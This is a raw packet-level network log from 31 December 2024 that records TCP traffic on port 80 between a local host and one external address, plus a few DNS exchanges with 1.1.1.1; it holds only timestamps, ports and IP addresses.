Dec 31, 2024 09:51:22.359621048 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359642029 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359652996 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359657049 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.359664917 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359672070 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.359678030 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359688997 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359700918 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.359704971 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.359767914 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.360786915 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360805988 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360817909 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360831022 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360842943 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360846996 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.360852957 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360863924 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360882998 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360888958 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.360901117 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360904932 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.360912085 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360924006 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360934019 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360946894 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360946894 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.360956907 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360968113 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.360970020 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.360987902 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361008883 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361655951 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361665964 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361685038 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361696005 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361706018 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361710072 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361717939 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361730099 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361738920 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361741066 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361751080 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361754894 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361780882 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361792088 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361800909 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361809015 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361820936 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361829996 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361829996 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361848116 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361860037 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361870050 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361871004 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361881971 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361890078 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.361911058 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.361927986 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.362308979 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362318993 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362334013 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362344980 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362353086 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.362354994 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362373114 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362382889 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362391949 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362396955 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.362402916 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362416029 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.362427950 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.362862110 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362945080 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.362962008 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362972975 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362982988 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.362992048 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363003969 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363007069 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363013029 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363023043 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363032103 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363046885 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363328934 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363337994 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363353968 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363363028 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363368988 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363372087 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363394022 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363406897 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363411903 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363424063 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363435030 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363442898 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.363470078 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.363492012 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364161968 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364268064 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364276886 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364288092 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364303112 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364312887 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364322901 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364325047 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364331961 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364334106 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364351988 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364355087 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364361048 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364373922 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364379883 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364392042 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364394903 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364401102 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364427090 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364480019 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364490032 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364502907 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364511013 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.364521980 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.364541054 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.392735004 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392749071 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392757893 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392762899 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392769098 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392772913 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392779112 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.392817974 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.392911911 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.393666983 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393685102 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393693924 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393702984 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393728018 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.393742085 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.393752098 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393764019 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393780947 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393790960 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393800020 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.393858910 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.393870115 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.393990993 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394007921 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394037962 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394040108 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394049883 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394066095 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394074917 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394082069 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394085884 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394089937 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394094944 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394105911 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394123077 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394144058 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394460917 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394510031 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394519091 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394531965 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394541979 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394550085 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394577980 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394581079 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394592047 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394603014 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394610882 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.394613028 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.394654989 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.447333097 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447359085 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447376013 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447385073 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447395086 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447405100 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447417021 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447427034 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447443962 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.447468042 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.447499037 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447510004 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447525978 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447542906 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.447547913 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447561026 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447571993 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447578907 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.447582006 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447591066 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.447602987 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.447668076 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.452143908 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452198029 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452214003 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452224970 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452234030 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452239037 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.452250004 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452258110 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.452261925 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452270985 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.452275991 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.452302933 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453100920 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453160048 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453177929 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453188896 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453198910 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453207016 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453210115 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453219891 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453227043 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453249931 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453320980 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453330040 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453346014 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453356028 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453362942 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453365088 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453380108 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453381062 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453393936 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453399897 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453404903 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453413010 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.453429937 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453447104 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.453989029 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454073906 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454082966 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454092979 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454104900 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454113960 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454119921 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454125881 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454133987 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454145908 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454164982 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454438925 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454448938 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454461098 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454469919 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454480886 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454483986 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454490900 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454504967 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454507113 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454520941 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454828024 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454838991 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454854012 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454863071 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454873085 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454876900 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454886913 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454900980 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.454905033 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.454938889 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.455321074 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455331087 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455348015 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455358028 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455365896 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.455368042 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455382109 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455391884 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.455398083 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455408096 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455411911 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.455418110 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.455446959 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.457156897 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457181931 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457192898 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457202911 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457214117 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457225084 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457235098 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.457247972 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.457267046 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.458358049 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458378077 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458395958 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458405018 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458415985 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458425045 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458435059 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458439112 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.458445072 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458450079 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458460093 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458468914 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.458470106 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458479881 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458496094 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.458498955 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458508968 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.458513975 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.458551884 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:22.714930058 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:22.766109943 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.006923914 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.006992102 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.054723024 CET	63559	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:23.059523106 CET	53	63559	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:23.059668064 CET	63559	53	192.168.2.9	1.1.1.1
Dec 31, 2024 09:51:23.064410925 CET	53	63559	1.1.1.1	192.168.2.9
Dec 31, 2024 09:51:23.175441027 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180249929 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180438042 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180455923 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180466890 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180476904 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180488110 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180499077 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180500031 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180510044 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180522919 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180532932 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180535078 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180541039 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180546045 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180551052 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180562019 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180572987 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180584908 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180586100 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180602074 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180608988 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180614948 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180627108 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180635929 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180646896 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180655956 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:23.180659056 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:23.180666924 CET	80	49715	185.215.113.16	192.168.2.9
